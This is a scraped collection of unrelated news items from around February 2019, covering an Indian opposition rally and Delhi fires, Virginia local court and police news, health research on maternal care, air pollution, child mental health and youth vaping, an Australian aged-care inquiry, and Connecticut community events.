Jantar Mantar, the epicentre of countless protests, will see top Opposition leaders rallying against the Narendra Modi government in New Delhi today. West Bengal Chief Minister Mamata Banerjee had reached the National Capital on Tuesday night itself. Andhra Pradesh Chief Minister N Chandrababu Naidu will also be part of the protest. Delhi Chief Minister Arvind Kejriwal took to Twitter and invited general public to join the Satyagraha. Countless freedom fighters laid down their lives for our freedom and democracy. We cannot forget their sacrifices and remain silent to the tyranny of any dictator. Join us for the Save Democracy Satyagraha at the historic Jantar Mantar today afternoon, Kejriwal said on tweeted.

But what stole the limelight were the posters put up by the Youth For Democracy take a swipe at the West Bengal Chief Minister. Welcome to Delhi, where democracy is alive and kicking, Didi, said one of the poster. Didi, no one is going to prevent you from address people, read another poster. The message was an obvious reference to the ongoing tussle between the Modi government and the Trinamool Congress government over BJPs rath yatras in Bengal.

Banerjee has emerged as one of the most formidable voices of the opposition and her visit to Delhi assumes significance after the protest she led in Kolkata over CBI's attempt to interrogate the city police chief in chit fund scam cases created a political storm.

She has been at loggerheads with the ruling BJP, which is eyeing to garner at least 22 of 42 seats from Bengal in the upcoming Lok Sabha elections. Last month, Banerjee organised a rally of opposition parties in Kolkata, where she called to oust the Narendra Modi government at the Centre, claiming its "expiry date" has passed.New Delhi:

A day after 17 people were killed in a fire at Central Delhi's Hotel Arpit Palace in Karol Bagh, 200 shanties were caught in a fire at a slum in Paschim Puri late on Tuesday night. A woman was injured and was shifted to a nearby hospital. As many as 25 fire tenders were rushed to the spot. AK Jaiswal, the fire officer said as quoted by news agency ANI, "We got a call around 1 am that a fire had broken out in slums. We immediately sent 20-25 fire tenders to the spot. It took us 2 hours to control the fire, a woman was injured and has been shifted to a hospital. More than 200 huts were caught in the fire."

The Delhi Police has registered a case under IPC Section 304 (Punishment for culpable homicide not amounting to murder) in connection with the fire that broke out in Hotel Arpit Palace in Karol Bagh on Tuesday. According to reports, the police have also added Section 308 of IPC (attempt to commit culpable homicide).

Meanwhile, Union Tourism Minister KJ Alphons said the emergency exit of the Arpit Palace hotel was too narrow and also locked. Alphons, who visited the site of the tragedy, said he was sure that there would be violation of norms. The minister said there were a lot of wooden structures inside, which may have helped the fire spread.

"When I headed to the emergency exit, I found that it had been locked yesterday (last night). Also, it was too narrow. Obviously, even if people came to the emergency exit, they could not have escaped as it was too narrow and it was locked anyway," he said.New Delhi:

IndiGo Airlines cancelled another 50 flights due to shortage of pilots on Wednesday. The airlines cancelled about 75 flights over the weekend and at least 32 on Monday. According to India Today, the airlines said the reason was network disruption due to the bad weather. Even on Sunday, budget major IndiGo continued to cancel multiple domestic flights across the country as its flight operations have been "badly disrupted" after hailstorm lashed parts of north India last week. The carrier cancelled around 15 flights on Saturday and around seven on Sunday, Delhi airport officials said. "The airline has been facing problems in crew management. Therefore, these flights - which had to depart from Delhi yesterday and today - were cancelled," one of the airport officials said.

According to a statement issued by the airline earlier, 11 flights were diverted and a number of flights cancelled on February 7. "Due to a severe hailstorm in North India on Thursday, Feb 07, 2019, 11 IndiGo flights were diverted. Consequently, this disrupted operations across our network the following day.

"As part of recovering our schedule, the positioning of the crew and aircraft had to be readjusted. As a result, a number of flights were cancelled. We regret the inconvenience caused to our customers," IndiGo said in a statement to PTI.

IndiGo is the largest airline in Indian domestic market. It flew around 43 per cent of the passengers in 2018. The Bengaluru airport officials told PTI that around 16 flights of the airline were cancelled on Sunday.

Operations at the Delhi airport saw massive disruption on February 7 as total 36 flights were diverted to nearby cities between 6 pm and 8.45 pm due to severe rain and hailstorm in the national capital.

For all the Latest Business News, Download News Nation Android and iOS Mobile Apps.GamesRadar+ is supported by its audience. When you purchase through links on our site, we may earn an affiliate commission. Learn moreJeffersonville, IN (47130)

Today

Sun and clouds mixed. High 88F. Winds S at 10 to 15 mph..

Tonight

Mostly cloudy. Low 73F. Winds S at 5 to 10 mph.The Clark County Courthouse may find needed support if two new requested judicial officers are approved by State legislation. According to the Clark County Prosecutor's Office, there were more than 6,000 new criminal cases filed in 2017 and more than 5,000 as of Nov. 9 of last year.Its a feeling many black women in America share, she says, because society has ingrained in them this idea that they are less than because of the color of [their] skin and the nap of [their] hair.

It wasnt until she worked as a senior designer on African Voices, an exhibit on permanent display at the Smithsonian National Museum of Natural History, in the 1990s that she says she realized and came to truth about the beauty of my African heritage.

Immortalizing those less represented by society became one of the areas Jackson would return to as she worked on projects like the 2011 redesign of the Sewall-Belmont House, the historical house and museum of the U.S which became the Belmont-Paul Womens Equality National Monument in 2016.

She can just go in and hone in on the right message and the right design for that particular organization, says Jennifer Krafchik, deputy director of the National Womans Party. For us at the time, it just really worked and it continues to work. We still receive so many compliments on the overall design of the exhibits as well as the way in which they are laid out.Talking about the loss is difficult. He would rather expend his limited energy on other topics.

I lived an unbelievably wonderful life, and had my son not died it would have been a perfect, he said.

Through hospice, Dudley said he was able to review all that was wonderful. He has remained in his Blacksburg home, and the hospice team has taught Larkin Dudley how to care for her husband. She jokes that shell return to school after he dies for a nursing degree in which she specializes in catheters.

Larkin Dudley is her husbands primary caregiver. He realizes that many days turn messy with sickness.

Very few people are around when Im throwing up all over the place and it needs cleaned up, he said. There have got to be days that she looks at me and says, What have I signed up for? But she does unbelievable things every day.

It was important to him that Larkin continue her life outside of his care and that she go to her book and bridge clubs and church activities. A hospice volunteer comes during the week, and nurses aide Cindy Powell comes twice a week. They time their visits for when Larkin will be out.

The Dudleys continue to enjoy each others company knowing that it, too, will soon end.A Lynchburg police officer will not face criminal charges for opening fire on a city man who police said pointed a rifle at the officer late last year, prosecutors announced Wednesday.

Officer Michael Iazzi discharged his firearm Dec. 30 after responding to the 700 block of Norwood Street for a report of a violent trespasser. According to Lynchburg Commonwealths Attorney Bethany Harrison, Iazzi encountered two armed men when he arrived on scene, and one of the men raised his weapon toward the officer.

Iazzi shot twice at the suspect, who then fled the scene. The suspect  later identified as Malik JKwar Andrews, 22  was not struck by the gunfire and was not injured in the shooting. He was located and arrested about 20 minutes after the incident.

In a five-page report released Wednesday, Harrisons office said Iazzi was justified in his use of force and acted in self-defense and in defense of others when he discharged his firearm.

The report, which is based on an investigation completed last month by the Virginia State Police, said Iazzi arrived at the Norwood Street residence as Andrews argued with his father, Edgar Harvey, outside the home.+5 Lynchburg integration pioneer Lynda Woodruff dies Lynda Woodruffs commitment to the civil rights movement was almost military in its totality. She was drafted, in a sense, and spent four year

Cardwell, 72, was invited to speak to the seniors and juniors Tuesday as part of senior Jordan Fowlers project.

Fowler said she was assigned a project to speak about someone or an event related to the civil rights movement. She decided to interview Cardwell and asked him to speak to students about his experiences.

Its more of a personal feel when were actually able to sit down and look at someone that changed something for us as opposed to reading about them in a textbook, Fowler, 18, said. None of us know what Lynchburg was like 60 years ago other than people who are 60 years old now. I wanted the kids here to know that change happened here also. It wasnt just bigger places like in Mississippi or Baltimore and other places.

During a question-and-answer session with government teacher Aaron Scott and the students, Cardwell told students about his experiences as part of the civil rights movement and his time at E.C. Glass.

Cardwell told the students although his father said Cardwell wanted to apply to Glass for a mechanical-drawing class, he said he thinks it was more of a sense of duty and responsibility that propelled me to follow through with attending Glass.We loved him when he was here as an in-house investigator, loved him as the clerk of court, she said. Hes done a tremendous job of clerk of court in increasing the safety in the clerks office  seeking grant funding for technology in the courtroom. Hes really pushed the clerks office into the 21st century and were very sad to see him go.

During Wingfields tenure, he worked to digitize files kept by the clerks office and implement electronic evidence presentation systems in the courtrooms that he said have been well accepted.

Hes moved his office into the future while helping keep the past preserved, using grants from the Library of Virginia Circuit Court Records Preservation Program to scan and repair deed books dating back centuries.

Over the course of his 45 years working for the city, Wingfield said his career has centered on working with citizens and hes enjoyed making complicated procedures through his office easier to navigate for attorneys and the public.

I cannot say enough about the outstanding employees that I am blessed to have and the dedication they have toward what they do, he said.

As part of his announcement, Wingfield endorsed retired LPD captain Todd Swisher to replace him in 2020.McCormack has developed two other properties in Bedford  Bedford Lofts on Jackson Street and Beales Brewery on Grove Street.

This is an unusually complex site, which makes the approach daunting yet very exciting, McCormack said. Weve had lots of public discussion on this, but ultimately we could not accomplish this without the progressive thinking of the town council and citizens of Bedford.

Town Manager Bart Warner said the town hopes to have an agreement worked out soon.

The town is rightfully taking its time and making some decisions, McCormack said last week. Were in the final negotiations with the contract.

In Amherst County, the remediation funds will be used to assist in cleanup of lead and asbestos at the old Phelps Road School.

A grant match will be met by Amherst Countys commitment of up to $400,000 in water and sewer incentives related to the project, as well as waiving or rebating development fees charged by the county.RUSTBURG  A Rustburg man will spend just over a year in prison for killing his cousin in a December 2016 drunk-driving crash.

Jonathan Andrew Payne, 32, pleaded guilty Wednesday in Campbell County Circuit Court to involuntary manslaughter by driving under the influence and a separate charge of driving under the influence.

Payne was driving a car east on Candlers Mountain Road the night of Dec. 1, having left Macados Restaurant with his cousin, 36-year-old Sean Payne, in the passenger seat, according to prosecutor Jason Todd. At around 9:55 p.m., his car ran off the side of the road and struck two trees less than a mile west of Camp Hydaway Road.

Sean Payne died of multiple blunt force injuries at the scene, Todd said, and Jonathan Payne was taken to the hospital for serious injuries. Bettina Altizer, Jonathan Paynes attorney, said her client is still going through therapy and Todd said Payne suffered permanent damage to his left arm.

According to Virginia State Police, both men were wearing seatbelts at the time.

The crash also killed six puppies that were kenneled in the car, Todd said.A retired Lynchburg police officer and an investigator with the Campbell County Sheriffs Office has officially made his entry into the race to succeed retiring Sheriff Steve Hutcherson.

Whit W. Clark, III, announced Thursday he will run in the November election.

In a statement declaring his candidacy, Clark pledged to place a greater emphasis on community policing initiatives and crime prevention programs in the county. He said he also hopes to give locals a greater say in the sheriffs office by reinstituting the Citizens Community Advisory Board.

Clark, a Gladys resident and a deacon at Ebenezer Baptist Church, served in the Lynchburg Police Department for 32 years and ultimately rose to the rank of captain before his retirement in 2015.

That same year he joined the Campbell County Sheriffs Office as a part-time investigator probing domestic violence and sexual assault.

Clark has secured endorsements from several current and former Lynchburg-area law enforcement officials.Barron, WI (54812)

Today

Mostly cloudy skies. A stray severe thunderstorm is possible. High around 80F. Winds N at 5 to 10 mph..

Tonight

A few clouds. Low 56F. Winds NNE at 5 to 10 mph.Cardiovascular disease and hypertensive disorders are leading causes of maternal morbidity and mortality. Two studies will be presented on February 14, 2019, at the Society for Maternal-Fetal Medicine's (SMFM) annual meeting, The Pregnancy Meeting, that address racial disparities in the postpartum period with a special focus on cardiovascular health.

In one study, researchers will unveil findings that demonstrate that black women are more likely to be readmitted to the hospital in the postpartum period. Researchers analyzed 11.3 million birth records and compared postpartum readmission rates among white, black, Hispanic, Asian or Pacific Islander, and Native American women, as well as women for whom race was unknown. They found that compared to white women, black women were much more likely to be readmitted postpartum and Hispanic women were less likely to be readmitted.

Using the same data, the researchers found that black women were also more likely to suffer severe maternal morbidity, even after adjusting for income, age, and other socioeconomic factors that impact health outcomes. Furthermore, black women were the most likely to suffer significant life-threatening complications during readmission. More specifically, black women were 126% more likely than white women to experience pulmonary edema and acute heart failure.

"The racial and ethnic disparities in obstetric outcomes are clear," said Aleha Aziz, MD, MPH, lead author of the abstract and maternal-fetal medicine fellow at Columbia University Irving Medical Center. "Obstetric care providers should be especially mindful of these differentials after delivery and consider closer surveillance of women, who may have increased risk for complications in the postpartum period."

In another study that will be presented at The Pregnancy Meeting this week, researchers will unveil an innovative and effective way to reduce racial disparities in the postpartum period using text messages to monitor women's blood pressure.

In this study, women with pregnancy-related hypertension were randomized to one of two groups after delivery. The first group received usual care for blood pressure monitoring (an in office visit 7 - 10 days postpartum). The second group was discharged with a blood pressure cuff and asked to submit their blood pressure readings daily via text message. Researchers found that text-based monitoring improved blood pressure ascertainment for black and non-black women. Further, text-based monitoring eliminated the racial disparities in blood pressure ascertainment.

"For a variety of reasons, many women are unable to go to their postpartum visit," said Adi Hishberg, MD, lead author of the abstract and assistant professor of clinical obstetrics and gynecology at Perelman School of Medicine at the University of Pennsylvania. "When women cannot access care, they can end up sicker, in the emergency room and readmitted to the hospital. Our study demonstrates that there are other methods of engaging women after delivery and monitoring blood pressure, specifically text message, that can help women of all races, and may change the future of postpartum care."

Source: https://www.smfm.org/Researchers at Tokyo Institute of Technology, Imperial College London and the University of Tokyo have demonstrated that physical coordination is more beneficial in larger groups.

The researchers used robotic interfaces to test coordination in groups of two, three and four partners, and found that performance was improving with every additional group member.

The researchers believe the findings can clarify how a group of people can work together, for example to move and maneuver a large table together. This may also lead to improving the outcomes of physical rehabilitation by training patients in groups.

Scientists from Imperial College London, CNRS in France and ATR in Japan previously revealed the haptic communication in pairs in a task similar to partner dancing, and showed how performance at a physical task is improved and learned better when practicing with a partner.

The new study, published today in eLife, extends this finding to trios and quartets by clarifying haptic communication in groups critical to society.

Dr Atsushi Takagi, lead author of the study who resides at the Institute of Innovative Research at Tokyo Institute of Technology (Tokyo Tech), said: "We were shocked by how well and fast partners learned to coordinate as a group through touch. Imagine trying to move a banquet table at a crowded wedding venue. With verbal communication, it's immensely challenging to coordinate with others to ensure the table doesn't bump against something, and the more people there are, the longer it takes to reach verbal consensus. With touch, coordination emerges in a matter of seconds, and the time taken to reach consensus is the same, irrespective of group size."

Professor Etienne Burdet of Imperial College, the senior author of this study, added: "We expected that the performance would deteriorate with the noisy force of each additional group member. However the performance improved with each group member, as each individual connects to a virtual collective hand which is the average of all partners' hands, so that the noise decreases with the number of partners".

The researchers found that the key to physical coordination was the ability to infer the group's goal through touch. The same coordination mechanism was used in a previous study by Takagi and colleagues to design a "human-like" robot partner that coordinated with a human partner.

In the new study, the researchers conducted computer simulations of the task to test what information was shared within the group through touch. Takagi believes that a deeper understanding of the coordination mechanism will yield an algorithm for a group of robots to carry out physical tasks together.

The research was carried out in partnership with Imperial College London in the UK, and the University of Tokyo in Japan.

Source: https://www.titech.ac.jp/english/news/2019/043544.htmlTo what extent is our personality an adaptation to our appearance or even our physique? A team of scientists at the University of Gottingen has investigated this question. Their results: it depends - on our gender and on which behavior. The study was published in the journal Evolution and Human Behavior.

Previous theories of a possible connection between appearance and behavior claim, among other things, that physically stronger men tend to be more aggressive and physically more attractive women are more outgoing. For the most part, the research team from the Department of Biological Personality Psychology at the University of Gottingen found evidence to contradict these theories. Their research involved two independent groups of subjects from Gottingen in Germany and Edinburgh in the UK.

For example, they could not confirm a clear connection between attractiveness and extraversion in women. "Although women who consider themselves attractive are actually more likely to be sociable and less shy, it could be their positive self-image that is the reason for this," says Christoph von Borell, first author of the study. In order to find out whether the behavior is actually related to their outward appearance alone, the Gottingen researchers chose a study design in which physical attractiveness was assessed by other people. "When we did this, the connection can no longer be observed," explains von Borell.

The influence of physical condition on the behavior of men is different: the study showed that more muscular men were more extraverted and considered aggressive behavior to be more useful. In many other behaviors, however, the results showed no clear connection with the men's appearance. In order to determine the strength and physique of the men and women, all test subjects were imaged using a 3D body scanner and their grip and upper body strength measured.According to the reports of a recent inquiry, inspectors looking at aged care homes in Australia over the last year have reported an alarming rise in missing residents, violence that was not reported and severe degrees of malnutrition among the residents.

Image Credit: Hxdbzxy / Shutterstock

Combined Pensioners and Superannuants Association policy manager Paul Versteege have reported to the royal commission in Adelaide this week (12th February 2019) the rise in the number of unpleasant experiences and incidents was not due to increasing numbers but because of the change in the inspection protocol and modus operandi of the government inspection agency. Earlier the reports were mainly checking off the tick boxes. Since last year, a more detailed report from the homes was prepared after a detailed inspection. This has revealed the truly horrifying picture says the inquiry report.

According to the report there is a 32 percent rise in incidents of reportable assaults on the residents in 2017-18 compared to previous years (a rise from 2,853 cases the year before to 3,773 cases in 2017-18). The number of missing residents from the facilities rose from 1,108 to 1,450 from the previous year to 2017-18. As a result of inspection accreditation was revoked for 12 facilities in 2017-18 compared to only 4 the year before.

Mr Versteege said these numbers raise the question of why there is such a steep rise in them. He said, In my view ... the reason for this is the Aged Care Quality Agency started to do things differently. There was a rise in number of meals left uneaten he said. He explained, What they found was that people were served a meal but quite a few people were unable to actually eat that meal and because the staff was rushed they would not be able to assist them. And staff would come around and collect the uneaten meal and a person would basically not eat. He explained that rates of 50 percent malnutrition among residents was very common.

Further continence pads were not routinely and regularly changed due to rationing of the pads and this led to sores. Obviously the skin of older people is thinner and compromised much more easily. If a continence pad is soaked and has faecal matter in it and is in contact with the skin, if you keep that up for a while that is life threatening, he said at the inquiry. Then there was the unavailability of appropriate sized wheelchairs. If you get the wrong wheelchair and you are stuck in it and dependent on it for your mobility, it can also lead to depression, because you cant get anywhere if you are frail, he said.

He said that what changed was the assessment of the facilities adding, Facilities were used to being assessed one way was suddenly assessed in a different way and the result was massive non-compliance. He added that unannounced inspection review visits rose by 323 per cent over last year which also caught some of the irregularities at the facilities.

At present over 376,000 Australians are living with dementia and Versteege says that people with dementia do become aggressive and can display that sort of behaviour to other residents. He added, There are examples of very violent attacks on resident-on-resident which makes facilities very unsafe. It's not reported, it's not even recorded, it's not subject to any administrative record.

There is also a discrepancy in use of appropriate antipsychotic drugs to manage patient behaviour. The inspectors noted evidence of lack of adequate funding and also a 12-month waiting lists for aged home care. According to Older Persons Advocacy Network chief executive Craig Gear said that the waiting times were too long for some people until they have to choose residential care instead.

Peter Gray QC, the counsel assisting the commission in the inquiry said, The dominant narrative in current Australian culture seems to be that older Australians are a burden. We reject that narrative... This is not a matter of bearing a burden, but of becoming the nation we know we should be.

Scott Morrison just before the hearing announced a $662m funding for aged care. The Prime Minister has announced $320m for residential facilities amounting to around $1,800 per Australian resident. Rest of the funds would go to home care packages. The final report of the commission is due on the 30th of April next year.A new study finds that one thirds of all the NHS surgeries in UK are situated in areas where the levels of air pollution are high. This means that millions of people have to breathe in toxic air when they see their GPs. This study adds to the fact that 40,000 premature deaths are caused annually in UK due to air pollution. The latest report comes from the UK100. This is a network of council leaders that works for environmental changes.

Image Credit: LanaElcova / Shutterstock

The new study shows that London has the highest number of patients who live and visit their GPs in polluted areas. Those with asthma and other lung diseases thus are at a greater risk as they visit their healthcare providers, says the study.

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The study found that around 18 million patients who are registered at various surgeries cross regions that have air pollution levels over PM2.5 which is the annual limit for air pollution from the World Health Organization (WHO). PM2.5 translates into particles that are 30 times smaller than a single human hair and these are small enough to quickly and easily penetrate deep into the lungs and enter the bloodstream. Studies and evidence has shown that exposure to these particles are associated with several disease conditions of the lungs, heart, cardiovascular system and are also linked to diabetes and long term brain diseases such as dementia and Alzheimers disease and Parkinsons disease.

The study found that London has 7.5 million people who visit surgeries at polluted regions. This is three quarters of all the population that visits the GPs. Birmingham has nearly half a million people exposed to high levels of pollution, closely followed by Lambeth, Newham and Wandsworth. Other highly polluted areas around GP surgeries are East Midlands (over 2 million exposed), East of England (around 2.5 million exposed) and South East (around 2.3 million patients exposed). There are zero percent patients in North East who face high levels of air pollution, the report finds.

The regions with the most patients registered at GP practices that exceed WHO air pollution limits for PM2.5 are:

Region Exceed limit Total Patients Percentage London 7,516,991 9,967,034 75.4% East Midlands 2,151,134 5,014,389 42.9% East of England 2,515,497 6,453,953 39.0% South East 2,310,372 9,580,110 24.1% West Midlands 1,458,278 6,233,965 23.4% South West 864,982 5,785,943 14.9% North West 699,582 7,735,367 9.0% Yorkshire and The Humber 374,074 5,722,765 6.5% North East 0 2,768,683 0.0% England Total 17,890,910 59,262,209 30.2%

According to a statement from Polly Billington, UK100 director, GP surgeries in Barrow in Furness, Lowestoft, Penzance, Ipswich and Portsmouth have the worst levels in the country of pollution. Some of the most vulnerable groups of people including young children and older people will walk to their GP, often to get help with respiratory conditions like asthma and bronchitis. We need urgent action from the Government with a new Clean Air Act passed by parliament to tackle toxic fumes.

Professor Dame Parveen Kumar, who chairs the British Medical Association's board of science, in a statement said, It is a shocking state of affairs that this invisible killer is still not taken seriously enough by policy makers. The Government needs to look at evidence like that by UK100 and ensure the Environment Bill has legally enforceable air quality limits that meet WHO guidelines and give councils adequate powers and funding to restrict air pollution.

Coming up is the Clean Air Summit that is soon to be hosted in London on 14 February. It would be attended by London Mayor Sadiq Khan. He said in a statement, Our toxic air is a national health crisis, contributing to tens of thousands of premature deaths across the UK every year. Air pollution harms the lung growth and respiratory health of our children, and is also linked to asthma, cancer and dementia. I'm proud that London has taken positive action by cleaning up our bus and taxi fleet, encouraging clean air innovation, establishing the largest air quality monitoring network of any major city and, starting in April this year, introducing the world's first 24/7 Ultra Low Emission Zone in central London.

Tables

Table 2: Ten GP Surgeries with worst levels of PM2.5 air pollution in England

Name Post Code Local Authority Region NUMBER OFPATIENTS PM2.5 Atkinson Health Centre LA14 2LR Barrow-in-Furness North West 4,714 16.85 Norwood Medical Centre LA14 5ES Barrow-in-Furness North West 11,026 16.71 Alexandra & Crestview Surgeries NR32 1PL Waveney East of England 15,613 16.18 Duke Street Surgery LA14 1LF Barrow-in-Furness North West 9,645 16.17 The Family Practice LA14 5SL Barrow-in-Furness North West 3,301 16.17 Morrab Surgery TR18 4EL Cornwall South West 11,231 14.92 Dr Solway & Dr Whale Practice IP4 2PZ Ipswich East of England 6,210 14.67 Orchard Medical Practice IP4 2PZ Ipswich East of England 14,534 14.67 The Hanway Group Practice PO1 4ND Portsmouth South East 14,167 14.29 Kirklands Surgery PO3 5AF Portsmouth South East 8,717 14.29

Table 3: Ten local authorities with most numbers of GP patients registered at surgeries that exceed PM2.5 air pollution WHO limits (England only)In the United States, one in seven children could be suffering from a mental health condition for which half of them do not receive appropriate treatment finds a new study. The results of this eye-opener study were published in the latest issue of the journal JAMA Pediatrics.

Image Credit: Roman Bodnarchuk / Shutterstock

The team of researchers from University of Michigan looked at data from the 2016 National Survey of Children's Health. This was a national survey that was taken by parents of 46.6 million children and adolescents between ages 6 and 18 years. Results showed that 7.7 million children had at least one mental health condition. There were cases of depression, anxiety, attention-deficit/hyperactivity disorder (ADHD), bipolar disorder, eating disorders, body dysmorphic disorders etc. Of these again, only around half received treatment or counselling from a qualified mental health provider in the year prior to the survey.

The report detailed the prevalence of mental health problems among children and found ;

Hawaii has 7.6 percent children suffering from a mental health condition

Maine has 27.2 percent children suffering from a mental health condition

In the District of Columbia 29.5 percent children did not receive appropriate treatment

In North Carolina 72.2 percent children were left untreated

The national average of untreated mental health conditions among children is a little over 49 percent

Mark Peterson, associate professor at University of Michigan Medicine and lead author of the study, in a statement said he did not expect such high numbers, having studied mental health for years. This finding however did not surprise child and adolescent psychiatrists and psychologists. Experts in the field have agreed to have seen similar numbers in their practices.

Jennifer Mautone, psychologist in the Department of Child and Adolescent Psychiatry and Behavioral Sciences at the Children's Hospital of Philadelphia said that there are problems of social stigma that prevents families from seeking help, advice and support. Coverage too is an issue she said. The American Academy of Child and Adolescent Psychiatry also cites the problems of availability of practicing child and adolescent psychiatrists (less than 17 available per 100,000 children). There are long wait times, say experts. This leads to worsening of the condition and also need for long term treatment says Mautone. Mental health disorders are certainly stigmatised conditions and can be very debilitating in terms of healthful growth, especially for children and adolescents, said study co-author Daniel Whitney of the University of Michigan.

According to authors and experts in the field, another challenge is communicating with the education system, juvenile justice system, child welfare system and health care system that look after the interest of children and teenagers. Mautone said in her statement, All of these systems that are supposed to be caring for children often times are not talking to each other. A lot of times kids fall through the cracks and families are not getting the appropriate support they need. Mautone leads the Healthy Minds, Healthy Kids Initiative at the Children's Hospital of Philadelphia that provides support where needed.

The study authors wrote, In children, mental health disorders have deleterious consequences on individual and socioeconomic factors and can impede healthful transitioning into adulthood, and the incidence of mental health disorders has been increasing over the decades. They concluded, Initiatives that assist systems of care coordination have demonstrated a reduction of mental healthrelated burdens across multiple domains.The US Centers for Disease Control and Prevention (CDC) reported this week that in 2018 there are around 4.9 million American teenagers who are using tobacco in the form of cigarettes, e-cigarettes, cigars and hookahs. This is around 1.5 million more than the previous year they add in the report. Smoking cigarettes has declined but there is an epidemic of vaping and use of e-cigarettes says the CDC.

Image Credit: Aliaksandr Barouski / Shutterstock

As a response to this alarming rise in vaping among youngsters, the US Food and Drug Administration (FDA) have proposed a tightening of the regulations regarding vaping products. According to health officials, e-cigarettes surpass all other forms of tobacco use in its meteoric rise in popularity among high school and middle school students in America.

FDA commissioner, Dr Scott Gottlieb in a statement said, These data are a sobering reminder of the rampant rise of youth e-cigarette use. I fear this trend will continue in 2019, forcing us to make some tough decisions about the regulatory status of e-cigarettes. No child should be using any tobacco or nicotine-containing product and were committed to reversing this epidemic, Gottlieb said.

FDAs inaction till now has been criticised by many health advocates and a group of health campaigners have sued the FDA for delaying regulations that can control e-cigarette use. They state that these regulations were due since the new President came into office. After release of the CDC report, the campaigners have urged the FDA to take critical actions and stop the sale of all forms of flavoured tobacco. Last week 11 free market think tanks which have accepted tobacco industry donations applied to the FDA to stop regulation of e-cigarettes. They have said that these regulations are a result of panic over adolescent e-cigarette use. They claim that these regulations would cost jobs in the American.

Dr Robert Redfield, director of the CDC said in a statement, The skyrocketing growth of young peoples e-cigarette use over the past year threatens to erase progress made in reducing youth tobacco use. Its putting a new generation at risk for nicotine addiction.

US maker of Marlboro cigarettes called Altria has bought 35 percent stake in e-cigarette maker Juul investing $12.8bn. According to health advocates Juul is more widely blamed for this epidemic than others. The sleek appearance of the e-cigarette helps camouflage it as a USB stick say experts.Thank you for reading!

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To subscribe, click here. Already a subscriber? Click here.The Community Culinary School of Northwestern CT in New Milford will host a culinary showcase, Recipe for Success, March 23.

The event will run from 5:30 to 8 p.m. at the venue at 19 Main St.

The culinary celebration is the largest fundraiser for the nonprofit school, which provides job and life skills training to unemployed and underemployed adults from the greater New Milford area.

All food prepared in classes is donated to local food banks to feed the hungry within the community.

The event will feature an open bar and hors doeuvres prepared by students under the direction of Chef Blythe Roberts.

Silent and live auctions will feature luxury goods and travel, including 7-night accommodations for four in Manciano, Italy, on the southern edge of Tuscany.

A Restaurants for a Year auction package will feature $100 gift certificates to area restaurants, and guests will have the opportunity to purchase tickets for a wine basket drawing featuring more than 20 bottles.

I am excited to be back at the helm of the Community Culinary School where I am planning a culinary extravaganza for our Recipe for Success gala, said Chef Roberts, who recently resumed his role with the school. I have a lot of tricks up my sleeve from my lifetime in the culinary field.

Guests will be able to enjoy a variety of hors doeuvres including food stations and displays, he said. I plan to impress our guests in every way.

To date, 38 classes of students have graduated from the school with a job placement rate of 96 percent.

Graduates have moved into dynamic careers within the food service industry.

We are thrilled to have the opportunity to feature the skills of our students and graduates, while bringing awareness to our program and raising funds that will allow us to continue the important work that we do said Dawn Hammacott, executive director.

Tickets are $85 per person and can be purchased online at www.communityculinaryschool.org or by contacting the school at 203-512-5791.

Sponsorship, advertising, and auction item donation opportunities are also available.Marvelwood School in Kent has announced Connor Sainz of New Milford recently participated in the Northern Region High School Festival Chorus.

The event, sponsored by the Connecticut Music Educators Association, was held Jan. 19 at New Britain High School.

Connor is in the choir and show choir, and takes music as a class where he is learning piano, guitar, and music theory, at Marvelwood.

The student said auditioning for the festival chorus was nerve wracking because he had to sight read the music, but the rehearsals were amazing when everyone started singing together and it was all in sync.

Directed by Jack Pot, the 200-member chorus sang My Song by Eriks Esenvalds & Rabindranath Tagore, Alleluia by Paul Basler, Five Hebrew Songs by Erik Whitacre and Der Abend by Johannes Brahms.

Connor, who sang as a tenor, enjoyed Alleluia the most.

It was my favorite song because of the crescendo and decrescendo, and the very very beautiful forte, he said.

Marvelwood music teacher Jennifer Moros worked with six students in preparation for the audition for the festival.

Just the process of going through the CMEA Regional Auditions is an incredible learning experience and I was incredibly impressed by the students who prepared with me in September and October for the audition, Moros said.

They all went through a very challenging and rigorous process, she said.

Connor's experience in being selected and participating in the festival will be something he will remember for the rest of his life, Moros said. When he and I passed by the gym at New Britain High School, I remembered rehearsing there in high school as part of the CMEA Regional Concert Band.

Connor came alive during the rehearsal process, which lasted nearly 12 hours, she said. It was great to see him have so much fun making music.

Over the years, Connor tried many different band instruments but decided that singing was his thing.

At Schaghticoke Middle School, Connor sang soprano in the choir. He has done musical theater at TheatreWorks in New Milford.

Last December, Connor was Michael in The Marvelwood Player's production of Elf the Musical Jr.

Connor looks forward to auditioning for the All-State Chorus this month and hopes to be selected to perform at the Festival in April.The American Pie Company is a staple in Sherman.

Patrons come from near and far  some from lower Fairfield County, New York and eastern Connecticut  for the restaurants popular chicken pot pie and/or a homemade treat from the bakery.

The food is so good and the establishment itself is inviting, said customer Don Lowe, Shermans first selectman.

He said the restaurant has made a name for itself outside of the community, too, so much so that when he introduces himself as being from Sherman during his travels in the region and beyond, people recognize hes from the same town as American Pie.

Its a real treasure to have in town, he said.

The restaurant which celebrated its 25th anniversary last May  serves breakfast, lunch and dinner, while the bakery specializes in custom cakes, eclairs, cupcakes, cookies, pies and more, as well as grab-and-go items.

We always have something for everybody, said Bill Hunniford, who co-owns American Pie with business partner Audrey Day.

The main menu boasts appetizers, salads, soups and chilis, sandwiches and wraps, burgers, grilled chicken, pub steaks, pasta and specialties such as the restaurants popular chicken pot pie, turkey dinner, cottage pie, Yankee pot roast and crab cake dinner.

Pizza is served Fridays through Sundays, family meal deals for families of four are offered throughout the week for $23.99, and general and holiday catering of hot and cold foods are available.

The food is excellent, said local Realtor Don Fleming of New Milford, who takes his clients to the restaurant. Very creative.

I like that the food is always homestyle, with generous portions, said Lowe. And its always fresh and delicious.

Everything weve ever tried there has been delicious, said Renee Gardner of Brookfield.

Lowe acknowledged the restaurants emphasis on customer service. Everyone is friendly and accommodating.

The restaurant employs about 40 individuals, many who have been there on average of 10 or more years. Some younger wait staff resume work at American Pie during their college breaks, Hunniford said.

The co-owners are fully invested in the business.

We dont mind really rolling up our sleeves and doing the work, Hunniford said, citing that might include greeting and seating customers, clearing a table or washing dishes.

Hunniford can often be found visiting tables to check on the customers meals, while Day finds the bakery her happy place, where she can help develop recipes and try new things.

The co-owners praised retired chef Herb Krug, former owner of the Cake Box in New Fairfield, who in the early years of the business established many of the recipes.

If you really want something (from the bakery), ask us to set it aside, Hunniford advised customers who plan to dine in and then purchase a bakery item, noting the freshly baked items sell quickly.

